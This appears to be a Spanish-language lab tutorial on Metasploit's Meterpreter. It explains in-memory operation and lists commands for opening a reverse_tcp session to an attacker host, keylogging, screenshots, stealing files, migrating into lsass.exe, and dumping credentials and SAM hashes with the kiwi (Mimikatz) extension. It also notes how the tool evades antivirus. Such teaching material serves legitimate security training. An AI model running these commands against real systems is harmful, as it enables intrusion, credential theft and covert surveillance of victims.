🐍 Meterpreter: Shell Avanzada de Metasploit
Meterpreter es una shell de post-explotación que se ejecuta completamente en memoria, sin escribir archivos en disco. Se comunica de forma cifrada con el atacante y proporciona una API rica para interacción con el sistema comprometido.
Meterpreter funciona como una DLL inyectada en el proceso explotado. Todo ocurre en memoria RAM, lo que dificulta la detección forense tradicional basada en archivos.
| Característica | Meterpreter | Shell clásica |
|---|---|---|
| Reside en memoria | Sí | No |
| Cifrado de comunicaciones | Sí (TLS) | No |
| Comandos avanzados | Sí (keylog, screenshot...) | No |
| Extensiones | Sí (kiwi, stdapi...) | No |
| Detección forense | Difícil | Rastros en disco |
💥 Obtener sesión Meterpreter
Configurar y lanzar exploit
msfconsole -q
use exploit/... # según el vector (SMB, HTTP, FTP...)
set RHOSTS <IP>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP_atacante>
exploit
Gestionar sesiones
sessions # listar sesiones activas
sessions -i 1 # interactuar con sesión 1
background # enviar sesión al fondo💻 Comandos esenciales
Información del sistema
sysinfo # OS, hostname, arquitectura
getuid # usuario actual
getpid # PID del proceso Meterpreter
ps # lista procesos en ejecución
Navegación y archivos
pwd # directorio actual
ls # listar contenido
cd C:\\Users # cambiar directorio
cat archivo.txt # leer archivo
download secreto.txt # descargar archivo
upload tool.exe C:\\Temp # subir archivo
Shell del sistema y migración
shell # abrir cmd.exe/bash
migrate <pid> # migrar a otro proceso
migrate -N lsass.exe # migrar por nombre📸 Capacidades avanzadas
Captura e información sensible
screenshot # captura de pantalla
keyscan_start # iniciar keylogger
keyscan_dump # volcar pulsaciones
keyscan_stop # detener keylogger
Extensiones de Meterpreter
load kiwi # Mimikatz para credenciales
creds_all # volcar todas las credenciales
lsa_dump_sam # hashes de la SAM
load incognito # manipular tokens de Windows📋 Flujo del ejercicio
1
ExplotaciónObtener sesión Meterpreter mediante exploit.
2
Enumeraciónsysinfo, getuid, ps para conocer el entorno.
3
Post-explotaciónNavegar por el sistema, descargar archivos, capturar datos.
4
Migraciónmigrate para estabilidad o acceso a LSASS.
5
Extensionesload kiwi/incognito para capacidades avanzadas.
🧠 Conceptos clave
- In-memory: Meterpreter no toca el disco, evitando detección por AV basados en firmas de archivo.
- Cifrado TLS: La comunicación entre Meterpreter y el handler está cifrada.
- Migración: Mover Meterpreter a un proceso del sistema (explorer.exe) lo hace más estable.
- background: Permite trabajar con múltiples sesiones simultáneamente.
- Extensiones: Módulos que añaden funcionalidad: kiwi (credenciales), incognito (tokens), stdapi (archivos/red).